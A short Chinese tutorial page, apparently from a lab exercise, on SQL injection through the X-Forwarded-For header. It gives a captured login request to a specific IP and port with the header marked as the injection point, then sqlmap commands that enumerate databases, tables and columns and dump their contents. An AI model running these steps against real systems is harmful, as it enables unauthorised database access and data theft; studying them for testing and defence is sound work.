当前位置: 代码迷 >> 综合 >> X-Forwarded-For注入实战
  详细解决方案

X-Forwarded-For注入实战

热度:32   发布时间:2023-12-27 13:47:06.0

X-Forwarded-For注入漏洞实战

1、使用BurpSuite抓包


POST /index.php HTTP/1.1

Host: 219.153.49.228:47065

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

Referer: http://219.153.49.228:47065/index.php

X-Forwarded-For: *

Cookie: td_cookie=18446744069934562792; wp-settings-1=editor%3Dhtml; wp-settings-time-1=1526740792

Connection: close

Upgrade-Insecure-Requests: 1


username=admin&password=123456


将上面的信息保存在txt文件中



2、使用sqlmap进行注入


爆数据库

sqlmap -r xxx.txt --dbs --batch


爆表名

sqlmap -r xxx.txt -D 数据库名 --table --batch


爆表中的字段

sqlmap -r xxx.txt -D 数据库名 -T 表名 --columns --batch


爆字段中的值

sqlmap -r xxx.txt -D 数据库名 -T 表名 -C '字段名' --dump --batch